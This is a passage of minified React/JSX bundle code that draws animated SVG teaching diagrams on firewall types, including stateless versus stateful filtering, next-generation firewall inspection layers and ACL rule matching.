SOCKET`}),(0,k.jsx)(`text`,{x:`342`,y:`38`,fill:`#475569`,fontSize:`7.5`,fontFamily:`monospace`,children:`Re-originates sanitized request. No direct IP path.`})]}),t===3&&(0,k.jsxs)(`g`,{transform:`translate(20, 38)`,children:[(0,k.jsx)(`text`,{x:`0`,y:`0`,fill:`#475569`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`NGFW DEEP INSPECTION LAYERS:`}),(0,k.jsx)(`g`,{transform:`translate(0, 10)`,children:[{label:`Layer 3/4`,val:`IP:Port Match`,color:`#3b82f6`},{label:`SSL/TLS`,val:`Decrypted Proxy`,color:`#8b5cf6`},{label:`App-ID`,val:`Salesforce CRM`,color:`#10b981`},{label:`User-ID`,val:`jdoe@corp.local`,color:`#f59e0b`},{label:`Threat AV`,val:`0 Threats Clean`,color:`#065f46`}].map((e,t)=>(0,k.jsxs)(`g`,{transform:`translate(${t*130}, 0)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`122`,height:`42`,rx:`6`,fill:`#ffffff`,stroke:e.color,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`122`,height:`15`,rx:`5`,fill:e.color}),(0,k.jsx)(`text`,{x:`61`,y:`11`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`7`,fontWeight:`bold`,children:e.label}),(0,k.jsx)(`text`,{x:`61`,y:`31`,textAnchor:`middle`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:e.val})]},e.label))})]})]})]}),t===4&&(0,k.jsxs)(`g`,{transform:`translate(30, 48)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`275`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`30`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`20`,y:`19`,fill:`#ffffff`,fontSize:`10.5`,fontWeight:`bold`,children:`FIREWALL PARADIGM ARCHITECTURAL COMPARISON MATRIX`}),[{title:`Packet Filter`,osi:`L3 / L4`,state:`No Memory`,depth:`Headers Only`,speed:`Ultra Fast`,risk:`Spoofing & Blind`},{title:`Stateful Firewall`,osi:`L3 / L4`,state:`Session Table`,depth:`Handshake State`,speed:`High`,risk:`L7 Blind (Port 443)`},{title:`Application Proxy`,osi:`Layer 7`,state:`Dual Sockets`,depth:`Full Payload Buffer`,speed:`Moderate`,risk:`App Support Limit`},{title:`Next-Gen (NGFW)`,osi:`L3 - L7`,state:`State + Context`,depth:`DPI, App-ID, Threat`,speed:`High (ASIC HW)`,risk:`Higher Cost`}].map((e,t)=>(0,k.jsxs)(`g`,{transform:`translate(${16+t*168}, 38)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`158`,height:`225`,rx:`6`,fill:`#f8fafc`,stroke:`#e2e8f0`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`158`,height:`24`,rx:`5`,fill:`#1e293b`}),(0,k.jsx)(`text`,{x:`79`,y:`16`,textAnchor:`middle`,fill:`#38bdf8`,fontSize:`8.5`,fontWeight:`bold`,children:e.title}),(0,k.jsx)(`text`,{x:`12`,y:`44`,fill:`#64748b`,fontSize:`7.5`,fontWeight:`bold`,children:`OSI LAYER:`}),(0,k.jsx)(`text`,{x:`12`,y:`58`,fill:`#0f172a`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:e.osi}),(0,k.jsx)(`text`,{x:`12`,y:`80`,fill:`#64748b`,fontSize:`7.5`,fontWeight:`bold`,children:`STATE TRACKING:`}),(0,k.jsx)(`text`,{x:`12`,y:`94`,fill:`#0f172a`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:e.state}),(0,k.jsx)(`text`,{x:`12`,y:`116`,fill:`#64748b`,fontSize:`7.5`,fontWeight:`bold`,children:`INSPECTION DEPTH:`}),(0,k.jsx)(`text`,{x:`12`,y:`130`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:e.depth}),(0,k.jsx)(`text`,{x:`12`,y:`152`,fill:`#64748b`,fontSize:`7.5`,fontWeight:`bold`,children:`THROUGHPUT:`}),(0,k.jsx)(`text`,{x:`12`,y:`166`,fill:`#059669`,fontSize:`8`,fontWeight:`bold`,children:e.speed}),(0,k.jsx)(`text`,{x:`12`,y:`195`,fill:`#991b1b`,fontSize:`7`,fontWeight:`bold`,children:e.risk})]},e.title))]})]})},Ht=({currentStepIndex:e})=>(0,k.jsx)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:e>=7?(0,k.jsxs)(`g`,{transform:`translate(30, 20)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`300`,rx:`12`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`36`,rx:`11`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`24`,y:`23`,fill:`#ffffff`,fontSize:`11`,fontWeight:`bold`,children:`STATELESS VS STATEFUL FIREWALL: SUMMARY COMPARISON`}),(0,k.jsxs)(`g`,{transform:`translate(24, 52)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`310`,height:`230`,rx:`8`,fill:`#fef2f2`,stroke:`#f87171`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`310`,height:`28`,rx:`7`,fill:`#ef4444`}),(0,k.jsx)(`text`,{x:`155`,y:`18`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`9.5`,fontWeight:`bold`,children:`STATELESS FIREWALL`}),(0,k.jsxs)(`g`,{transform:`translate(20, 48)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`270`,height:`30`,rx:`6`,fill:`#ffffff`,stroke:`#fca5a5`}),(0,k.jsx)(`text`,{x:`135`,y:`19`,textAnchor:`middle`,fill:`#991b1b`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`PACKET → CHECK → DECISION`}),(0,k.jsx)(`text`,{x:`0`,y:`56`,fill:`#7f1d1d`,fontSize:`8`,fontWeight:`bold`,children:`• Evaluates packets in isolation (no memory)`}),(0,k.jsx)(`text`,{x:`0`,y:`74`,fill:`#7f1d1d`,fontSize:`8`,children:`• Requires explicit 2-way rules for replies`}),(0,k.jsx)(`text`,{x:`0`,y:`92`,fill:`#7f1d1d`,fontSize:`8`,children:`• High-port opening creates security hole`}),(0,k.jsx)(`text`,{x:`0`,y:`110`,fill:`#7f1d1d`,fontSize:`8`,children:`• Vulnerable to ACK scan & spoofing`}),(0,k.jsx)(`text`,{x:`0`,y:`132`,fill:`#059669`,fontSize:`8`,fontWeight:`bold`,children:`✓ Benefit: Ultra-fast wire speed (ACLs)`})]})]}),(0,k.jsxs)(`g`,{transform:`translate(366, 52)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`310`,height:`230`,rx:`8`,fill:`#ecfdf5`,stroke:`#34d399`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`310`,height:`28`,rx:`7`,fill:`#10b981`}),(0,k.jsx)(`text`,{x:`155`,y:`18`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`9.5`,fontWeight:`bold`,children:`STATEFUL FIREWALL`}),(0,k.jsxs)(`g`,{transform:`translate(20, 48)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`270`,height:`30`,rx:`6`,fill:`#ffffff`,stroke:`#86efac`}),(0,k.jsx)(`text`,{x:`135`,y:`19`,textAnchor:`middle`,fill:`#065f46`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`PACKET → CHECK → STATE → DECISION`}),(0,k.jsx)(`text`,{x:`0`,y:`56`,fill:`#064e3b`,fontSize:`8`,fontWeight:`bold`,children:`• Tracks TCP handshake (SYN/ACK/FIN)`}),(0,k.jsx)(`text`,{x:`0`,y:`74`,fill:`#064e3b`,fontSize:`8`,children:`• Return traffic allowed automatically`}),(0,k.jsx)(`text`,{x:`0`,y:`92`,fill:`#064e3b`,fontSize:`8`,children:`• Dynamic state table in firewall RAM`}),(0,k.jsx)(`text`,{x:`0`,y:`110`,fill:`#064e3b`,fontSize:`8`,children:`• Sequence number validation against spoofing`}),(0,k.jsx)(`text`,{x:`0`,y:`132`,fill:`#d97706`,fontSize:`8`,fontWeight:`bold`,children:`⚠️ Risk: State table exhaustion (SYN flood)`})]})]})]}):(0,k.jsxs)(k.Fragment,{children:[(0,k.jsxs)(`g`,{transform:`translate(20, 10)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`720`,height:`145`,rx:`8`,fill:`#ffffff`,stroke:e>=6?`#ef4444`:`#cbd5e1`,strokeWidth:e>=6?2:1}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`720`,height:`22`,rx:`7`,fill:e>=6?`#fef2f2`:`#f8fafc`}),(0,k.jsx)(`text`,{x:`14`,y:`15`,fill:e>=6?`#991b1b`:`#334155`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`TRACK A: STATELESS FIREWALL (PACKET-BY-PACKET ISOLATED EVALUATION)`}),(0,k.jsx)(`line`,{x1:`70`,y1:`75`,x2:`650`,y2:`75`,stroke:`#e2e8f0`,strokeWidth:`2`,strokeDasharray:`3 3`}),(0,k.jsx)(M,{cx:70,cy:75,label:`Client`,ip:`10.0.0.25`,active:!0}),(0,k.jsx)(N,{cx:360,cy:75,label:`Stateless FW`,sub:`Static Rules Only`,active:!0,danger:e>=6}),(0,k.jsx)(P,{cx:650,cy:75,label:`Server`,sub:`203.0.113.50`,active:!0}),e>=1&&e<=2&&(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(A,{x1:105,y1:75,x2:315,y2:75,color:`#2563eb`,label:`SYN :443`}),e>=2&&(0,k.jsx)(A,{x1:405,y1:75,x2:615,y2:75,color:`#10b981`,label:`RULE 1 ALLOW`})]}),e>=4&&e<=5&&(0,k.jsx)(A,{x1:615,y1:75,x2:405,y2:75,color:`#f59e0b`,reverse:!0,label:`SYN-ACK`}),e===6&&(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(A,{x1:615,y1:75,x2:405,y2:75,color:`#ef4444`,reverse:!0,blocked:!0,label:`NO STATE TABLE`}),(0,k.jsxs)(`g`,{transform:`translate(360, 122)`,children:[(0,k.jsx)(`rect`,{x:`-140`,y:`-8`,width:`280`,height:`16`,rx:`8`,fill:`#fef2f2`,stroke:`#ef4444`,strokeWidth:`1`}),(0,k.jsx)(`text`,{x:`0`,y:`3`,textAnchor:`middle`,fill:`#991b1b`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`BLOCKED ✕: Inbound return rejected (No state memory)`})]})]})]}),(0,k.jsxs)(`g`,{transform:`translate(20, 165)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`720`,height:`165`,rx:`8`,fill:`#ffffff`,stroke:e>=5?`#10b981`:`#3b82f6`,strokeWidth:e>=5?2:1}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`720`,height:`22`,rx:`7`,fill:e>=5?`#ecfdf5`:`#eff6ff`}),(0,k.jsx)(`text`,{x:`14`,y:`15`,fill:e>=5?`#065f46`:`#1e40af`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`TRACK B: STATEFUL FIREWALL (DYNAMIC CONNECTION STATE TABLE)`}),(0,k.jsx)(`line`,{x1:`70`,y1:`65`,x2:`650`,y2:`65`,stroke:`#e2e8f0`,strokeWidth:`2`,strokeDasharray:`3 3`}),(0,k.jsx)(M,{cx:70,cy:65,label:`Client`,ip:`10.0.0.25`,active:!0,success:e>=6}),(0,k.jsx)(N,{cx:360,cy:65,label:`Stateful FW`,sub:`Dynamic State RAM`,active:!0,success:e>=3}),(0,k.jsx)(P,{cx:650,cy:65,label:`Server`,sub:`203.0.113.50`,active:!0,success:e>=4}),e>=1&&e<=3&&(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(A,{x1:105,y1:65,x2:315,y2:65,color:`#2563eb`,label:`SYN :443`}),e>=2&&(0,k.jsx)(A,{x1:405,y1:65,x2:615,y2:65,color:`#10b981`,label:`SYN FORWARD`})]}),e>=4&&(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(A,{x1:615,y1:65,x2:405,y2:65,color:`#10b981`,reverse:!0,label:`SYN-ACK`}),e>=6&&(0,k.jsx)(A,{x1:315,y1:65,x2:105,y2:65,color:`#10b981`,reverse:!0,label:`DELIVERED ✓`})]}),(0,k.jsxs)(`g`,{transform:`translate(16, 110)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`688`,height:`42`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`16`,fill:`#475569`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`STATE TABLE:`}),(0,k.jsx)(`text`,{x:`95`,y:`16`,fill:`#1e293b`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`SRC: 10.0.0.25:49152`}),(0,k.jsx)(`text`,{x:`240`,y:`16`,fill:`#1e293b`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`DST: 203.0.113.50:443`}),(0,k.jsx)(`text`,{x:`390`,y:`16`,fill:`#1e293b`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`PROTO: TCP`}),(0,k.jsxs)(`text`,{x:`480`,y:`16`,fill:e>=5?`#059669`:`#2563eb`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:[`STATE: `,e>=5?`ESTABLISHED ✓`:e>=3?`NEW (SYN_SENT)`:e>=1?`TRACKING`:`IDLE`]}),(0,k.jsx)(`text`,{x:`620`,y:`16`,fill:e>=6?`#059669`:`#64748b`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:e>=6?`RETURN ALLOWED ✓`:`READY`}),(0,k.jsx)(`text`,{x:`12`,y:`32`,fill:`#64748b`,fontSize:`7`,children:e>=5?`✓ Stateful connection table matches return packet automatically without opening static inbound ports.`:`Outbound session logged. Inbound server responses will match this table entry.`})]})]})]})}),Ut=({currentStepIndex:e})=>(0,k.jsx)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:e>=5?(0,k.jsxs)(`g`,{transform:`translate(30, 20)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`300`,rx:`12`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`36`,rx:`11`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`24`,y:`23`,fill:`#ffffff`,fontSize:`11`,fontWeight:`bold`,children:`TRADITIONAL FIREWALL VS NEXT-GENERATION FIREWALL (NGFW)`}),(0,k.jsxs)(`g`,{transform:`translate(24, 52)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`310`,height:`230`,rx:`8`,fill:`#fef3c7`,stroke:`#f59e0b`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`310`,height:`28`,rx:`7`,fill:`#d97706`}),(0,k.jsx)(`text`,{x:`155`,y:`18`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`9.5`,fontWeight:`bold`,children:`TRADITIONAL FIREWALL (L3 / L4)`}),(0,k.jsxs)(`g`,{transform:`translate(20, 44)`,children:[(0,k.jsx)(`text`,{x:`0`,y:`15`,fill:`#78350f`,fontSize:`8`,fontWeight:`bold`,children:`• Inspects: Source IP, Dest IP, Port, Protocol`}),(0,k.jsx)(`text`,{x:`0`,y:`35`,fill:`#78350f`,fontSize:`8`,children:`• Port-Based Rules (Port 80 = Web, 443 = HTTPS)`}),(0,k.jsx)(`text`,{x:`0`,y:`55`,fill:`#78350f`,fontSize:`8`,children:`• Blind to applications tunneling over port 80/443`}),(0,k.jsx)(`text`,{x:`0`,y:`75`,fill:`#78350f`,fontSize:`8`,children:`• Cannot inspect inside encrypted SSL/TLS traffic`}),(0,k.jsx)(`text`,{x:`0`,y:`95`,fill:`#78350f`,fontSize:`8`,children:`• Requires external, separate IDS/IPS appliances`}),(0,k.jsx)(`text`,{x:`0`,y:`120`,fill:`#991b1b`,fontSize:`8`,fontWeight:`bold`,children:`⚠️ Result: Malware easily bypasses open ports`})]})]}),(0,k.jsxs)(`g`,{transform:`translate(366, 52)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`310`,height:`230`,rx:`8`,fill:`#ecfdf5`,stroke:`#10b981`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`310`,height:`28`,rx:`7`,fill:`#059669`}),(0,k.jsx)(`text`,{x:`155`,y:`18`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`9.5`,fontWeight:`bold`,children:`NEXT-GENERATION FIREWALL (NGFW)`}),(0,k.jsxs)(`g`,{transform:`translate(20, 44)`,children:[(0,k.jsx)(`text`,{x:`0`,y:`15`,fill:`#064e3b`,fontSize:`8`,fontWeight:`bold`,children:`• Deep Packet Inspection (DPI) Layers 3 through 7`}),(0,k.jsx)(`text`,{x:`0`,y:`35`,fill:`#064e3b`,fontSize:`8`,children:`• App-ID: Identifies exact application regardless of port`}),(0,k.jsx)(`text`,{x:`0`,y:`55`,fill:`#064e3b`,fontSize:`8`,children:`• User-ID: Enforces policy based on Active Directory user`}),(0,k.jsx)(`text`,{x:`0`,y:`75`,fill:`#064e3b`,fontSize:`8`,children:`• SSL/TLS Forward Proxy Decryption & Inspection`}),(0,k.jsx)(`text`,{x:`0`,y:`95`,fill:`#064e3b`,fontSize:`8`,children:`• Integrated inline IPS, Anti-Virus, & Sandboxing`}),(0,k.jsx)(`text`,{x:`0`,y:`120`,fill:`#059669`,fontSize:`8`,fontWeight:`bold`,children:`✓ Result: Blocks evasive malware and rogue tunnels`})]})]})]}):(0,k.jsxs)(k.Fragment,{children:[(0,k.jsxs)(`g`,{transform:`translate(20, 10)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`720`,height:`145`,rx:`8`,fill:`#ffffff`,stroke:e>=2?`#f59e0b`:`#cbd5e1`,strokeWidth:e>=2?2:1}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`720`,height:`22`,rx:`7`,fill:e>=2?`#fef3c7`:`#f8fafc`}),(0,k.jsx)(`text`,{x:`14`,y:`15`,fill:e>=2?`#b45309`:`#334155`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`TRACK A: TRADITIONAL FIREWALL (L3/L4 ONLY: IP & PORT BLIND ALLOW)`}),(0,k.jsx)(`line`,{x1:`70`,y1:`70`,x2:`650`,y2:`70`,stroke:`#e2e8f0`,strokeWidth:`2`,strokeDasharray:`3 3`}),(0,k.jsx)(M,{cx:70,cy:70,label:`Attacker / Client`,ip:`10.1.5.22`,active:!0}),(0,k.jsx)(N,{cx:360,cy:70,label:`Traditional FW`,sub:`Port 443: OPEN`,active:!0}),(0,k.jsx)(P,{cx:650,cy:70,label:`Core Server`,sub:`COMPROMISED ⚠️`,active:!0,danger:e>=2}),e>=1&&(0,k.jsx)(A,{x1:105,y1:70,x2:315,y2:70,color:`#2563eb`,label:`TCP :443`}),e>=2&&(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(A,{x1:405,y1:70,x2:615,y2:70,color:`#ef4444`,label:`MALWARE PASSES`}),(0,k.jsxs)(`g`,{transform:`translate(360, 120)`,children:[(0,k.jsx)(`rect`,{x:`-140`,y:`-8`,width:`280`,height:`16`,rx:`8`,fill:`#fef2f2`,stroke:`#ef4444`,strokeWidth:`1`}),(0,k.jsx)(`text`,{x:`0`,y:`3`,textAnchor:`middle`,fill:`#991b1b`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`BLIND ALLOW: Port 443 open. Cannot inspect inside TLS!`})]})]})]}),(0,k.jsxs)(`g`,{transform:`translate(20, 165)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`720`,height:`165`,rx:`8`,fill:`#ffffff`,stroke:e>=4?`#10b981`:`#3b82f6`,strokeWidth:e>=4?2:1}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`720`,height:`22`,rx:`7`,fill:e>=4?`#ecfdf5`:`#eff6ff`}),(0,k.jsx)(`text`,{x:`14`,y:`15`,fill:e>=4?`#065f46`:`#1e40af`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`TRACK B: NEXT-GEN FIREWALL (SSL DECRYPT + APP-ID + USER CONTEXT + IPS)`}),(0,k.jsx)(`line`,{x1:`70`,y1:`65`,x2:`650`,y2:`65`,stroke:`#e2e8f0`,strokeWidth:`2`,strokeDasharray:`3 3`}),(0,k.jsx)(M,{cx:70,cy:65,label:`Attacker / Client`,ip:`10.1.5.22`,active:!0}),(0,k.jsx)(N,{cx:360,cy:65,label:`Next-Gen FW`,sub:`App-ID + IPS Engine`,active:!0,success:e>=4,scannerActive:e>=2&&e<=3}),(0,k.jsx)(P,{cx:650,cy:65,label:`Core Server`,sub:`PROTECTED ✓`,active:!0,success:e>=4}),e>=1&&(0,k.jsx)(A,{x1:105,y1:65,x2:315,y2:65,color:`#2563eb`,label:`TLS 443`}),e>=4&&(0,k.jsxs)(`g`,{transform:`translate(420, 65)`,children:[(0,k.jsx)(`line`,{x1:`0`,y1:`-22`,x2:`0`,y2:`22`,stroke:`#ef4444`,strokeWidth:`3.5`,strokeLinecap:`round`}),(0,k.jsx)(`rect`,{x:`10`,y:`-11`,width:`105`,height:`22`,rx:`11`,fill:`#fef2f2`,stroke:`#ef4444`,strokeWidth:`1.5`}),(0,k.jsx)(`text`,{x:`62`,y:`3.5`,textAnchor:`middle`,fill:`#991b1b`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`DROPPED ✕`})]}),(0,k.jsxs)(`g`,{transform:`translate(16, 110)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`688`,height:`42`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`16`,fill:`#475569`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`NGFW STACK:`}),(0,k.jsx)(`text`,{x:`85`,y:`16`,fill:`#1e40af`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`[1. IP/Port: 443]`}),(0,k.jsx)(`text`,{x:`195`,y:`16`,fill:e>=2?`#6b21a8`:`#94a3b8`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`[2. SSL Decrypted]`}),(0,k.jsx)(`text`,{x:`310`,y:`16`,fill:e>=3?`#d97706`:`#94a3b8`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`[3. App-ID: C2 Tunnel]`}),(0,k.jsx)(`text`,{x:`445`,y:`16`,fill:e>=4?`#dc2626`:`#94a3b8`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`[4. Threat: Trojan ⚠️]`}),(0,k.jsx)(`text`,{x:`580`,y:`16`,fill:e>=4?`#059669`:`#94a3b8`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`[BLOCK ✓]`}),(0,k.jsx)(`text`,{x:`12`,y:`32`,fill:`#64748b`,fontSize:`7`,children:e>=4?`✓ Next-Gen Firewall looks past TCP port 443, decodes payload, identifies malicious behavior, and blocks the connection.`:`NGFW inspects application layer, user context, and threat signatures simultaneously.`})]})]})]})}),Wt=({currentStepIndex:e})=>{let t=e>=1,n=e>=2,r=e>=3,i=e===4,a=e>=5&&e<=9,o=e>=6,s=e>=7,c=e>=8,l=e>=9,u=e===10,d=e>=11,f=90;return e<=3?f=90:i?f=230:a?f=370:u?f=510:d&&(f=650),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[t&&(0,k.jsx)(`line`,{x1:`90`,y1:`85`,x2:`370`,y2:`85`,stroke:`#94a3b8`,strokeWidth:`2.5`,strokeDasharray:`4 4`}),n&&(0,k.jsx)(`line`,{x1:`370`,y1:`85`,x2:`650`,y2:`85`,stroke:`#94a3b8`,strokeWidth:`2.5`,strokeDasharray:`4 4`}),i&&(0,k.jsx)(A,{x1:135,y1:85,x2:325,y2:85,color:`#2563eb`,label:`TRANSMITTING →`}),u&&(0,k.jsx)(A,{x1:415,y1:85,x2:605,y2:85,color:`#10b981`,label:`FORWARDING →`}),d&&(0,k.jsx)(A,{x1:415,y1:85,x2:605,y2:85,color:`#10b981`,label:`DELIVERED ✓`}),(0,k.jsx)(`g`,{className:`animate-pop-in`,children:(0,k.jsx)(M,{cx:90,cy:85,label:`CLIENT`,ip:`10.0.0.25`,active:e<=4,statusText:e===0?`READY`:void 0})}),t&&(0,k.jsx)(`g`,{className:`animate-pop-in`,children:(0,k.jsx)(N,{cx:370,cy:85,label:`FIREWALL`,sub:a?`INSPECTING`:`ACL Engine`,active:a,success:l})}),n&&(0,k.jsx)(`g`,{className:`animate-pop-in`,children:(0,k.jsx)(P,{cx:650,cy:85,label:`SERVER`,sub:`203.0.113.50:443`,active:d,success:d,statusText:d?`ACCEPTED ✓`:`WAITING...`})}),r&&(0,k.jsx)(`g`,{className:`animate-pop-in transition-all duration-500`,children:(0,k.jsx)(j,{cx:f,cy:36,title:d?`DELIVERED`:l?`PERMITTED`:`TCP SYN`,protocol:`TCP`,port:`443`,src:`10.0.0.25`,dst:`203.0.113.50`,status:l?`ALLOW`:a?`INSPECT`:`NORMAL`,scale:.82})}),o?(0,k.jsxs)(`g`,{transform:`translate(30, 145)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`180`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,fontFamily:`sans-serif`,children:`ACCESS CONTROL LIST (ACL) FIELD-BY-FIELD EVALUATION MATRIX`}),(0,k.jsx)(`line`,{x1:`0`,y1:`26`,x2:`700`,y2:`26`,stroke:`#e2e8f0`,strokeWidth:`1`}),(0,k.jsxs)(`g`,{transform:`translate(16, 44)`,children:[(0,k.jsx)(`text`,{x:`0`,y:`0`,fill:`#64748b`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`RULE`}),(0,k.jsx)(`text`,{x:`45`,y:`0`,fill:`#64748b`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`ACTION`}),(0,k.jsx)(`text`,{x:`110`,y:`0`,fill:`#64748b`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`SOURCE IP`}),(0,k.jsx)(`text`,{x:`235`,y:`0`,fill:`#64748b`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`DESTINATION`}),(0,k.jsx)(`text`,{x:`360`,y:`0`,fill:`#64748b`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`PROTOCOL`}),(0,k.jsx)(`text`,{x:`455`,y:`0`,fill:`#64748b`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`PORT`}),(0,k.jsx)(`text`,{x:`545`,y:`0`,fill:`#64748b`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`RESULT`})]}),(0,k.jsxs)(`g`,{transform:`translate(16, 54)`,children:[(0,k.jsx)(`rect`,{x:`-4`,y:`0`,width:`676`,height:`34`,rx:`6`,fill:c?`#ecfdf5`:`#eff6ff`,stroke:c?`#10b981`:`#3b82f6`,strokeWidth:1.5}),(0,k.jsx)(`text`,{x:`4`,y:`21`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`1`}),(0,k.jsx)(`text`,{x:`45`,y:`21`,fill:`#059669`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`ALLOW`}),(0,k.jsx)(`rect`,{x:`105`,y:`5`,width:`115`,height:`24`,rx:`4`,fill:s?`#dcfce7`:`#ffffff`,stroke:s?`#22c55e`:`#cbd5e1`}),(0,k.jsxs)(`text`,{x:`162`,y:`21`,textAnchor:`middle`,fill:s?`#15803d`:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:[`10.0.0.0/24 `,s&&`✓`]}),(0,k.jsx)(`rect`,{x:`230`,y:`5`,width:`115`,height:`24`,rx:`4`,fill:s?`#dcfce7`:`#ffffff`,stroke:s?`#22c55e`:`#cbd5e1`}),(0,k.jsxs)(`text`,{x:`287`,y:`21`,textAnchor:`middle`,fill:s?`#15803d`:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:[`203.0.113.50 